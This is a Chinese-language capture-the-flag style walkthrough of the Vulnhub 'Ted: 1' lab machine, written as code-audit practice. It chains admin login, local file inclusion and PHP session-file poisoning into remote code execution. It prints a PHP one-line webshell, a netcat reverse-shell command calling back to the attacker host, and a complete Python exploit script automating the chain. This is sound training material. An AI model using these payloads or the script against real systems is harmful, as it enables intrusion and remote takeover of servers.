代码审计学习----Vulnhub系列之Ted: 1
难度:易(适合代码审计初学者,比如我)
靶机下载地址:
https://www.vulnhub.com/entry/ted-1%2C327/
本次审计主要涉及到三个文件
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
我从正常的业务入口开始,先来查看index.php 文件的内容:
可以看到 index.php 文件的内容较少,核心功能就是使用form表单,将填入的账号和密码发给 authenticate.php文件。
那么我们再来查看下 authenticate.php文件的内容:
然后再查看home.php:
那么此时我们的逻辑就比较清楚了:
攻击流程
主机发现:
sudo netdiscover -i eth0 -r 192.168.248.130/24
主机信息收集:
nmap -p- -T4 192.168.248.153
目标只开启80端口,访问80端口:
按照代码逻辑,尝试利用:
账号:admin
密码经过尝试后发现加密方式为sha256,使用下面网站进行在线转化
https://www.strerr.com/cn/sha256.html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
密码:
8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
成功登录系统:
我们知道这里的search,存在文件包含。我们使用 /etc/passwd进行测试。
接下来我们尝试利用,利用思路有两个:①包含web的日志文件,这种方式其他文章都有这里我就不再赘述了②包含用来存储用户session的文件,从而获取shell
在这里我演示第二种方法:
在Linux下 PHP语言的session的存储路径如下示例所示:
/tmp 或 /var/lib/php/sess_[PHPSESSID]
/var/lib/php5/sess_[PHPSESSID]
/var/lib/php/sessions/sess_[PHPSESSID]
我们来查看session存在的格式是什么样子的:
首先获取PHPSESSID,抓取登陆过程中的数据包:
拼接得到session路径:
/var/lib/php/sessions/sess_dhk0iuhmo7od0gcllgihvua0k6
访问该路径,得到信息如图所示:
那么如果想要得到shell,那么我们必须找到用户可以控制的地方。
我们将此数据包发送到重放模块来进行更好的测试:
可以看到,用户可以修改user_pref变量的值,从而可写入到session文件中,再结合文件包含漏洞,从而达成RCE的效果
向user_pref的值处写入 一句话(注意此时需要进行url编码):
<?php system($_POST["cmd"]); ?>
发送攻击代码:
那么我们来验证一下,看能不能执行命令:
注:在测试的过程中,由于该系统有还原机制,所以我们的sess文件会被修改回去,在测试时需要多次执行。
使用NC来获取shell:
nc+192.168.248.130+6789+-e+/bin/bash
那么此时我们就得到了webshell,那么接下来是本次的重头戏,使用python 进行EXP代码的编写
具体代码如下所示:
注: exp的代码,推荐还是自己先写一下,遇到不会的再参考。
#!/bin/python3
import requests
import time
url="http://192.168.248.153"
mima={'username':'admin','password':'8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918'}
httptarget="http://127.0.0.1:8080"
httpstarget="https://127.0.0.1:8080"
proxy={
'http':httptarget,
"https":httpstarget
}
s=requests.Session()
r=s.post(url+'/authenticate.php',data=mima)
session_id=s.cookies.get_dict()['PHPSESSID']
print ("session_id="+session_id+"\n")
cookie=dict(PHPSESSID=session_id,user_pref="<?php %73%79%73%74%65%6d%28%24%5f%50%4f%53%54%5b%22%63%6d%64%22%5d%29%3b ?>")
lfi="/var/lib/php/sessions/sess_"+session_id
command='nc 192.168.248.130 6789 -e /bin/bash'
i=1
while(i):
print (f"Try exp number {i}")
payload={"search":lfi,'cmd':command}
r=requests.post(url+"/home.php",data=payload,cookies=cookie,proxies=proxy)
time.sleep(3)
i=i+1
执行结果如下所示:
本次exp编写部分还需着重练习,使用的还是不熟练期间有很多次疑惑的部分,还需多多练习。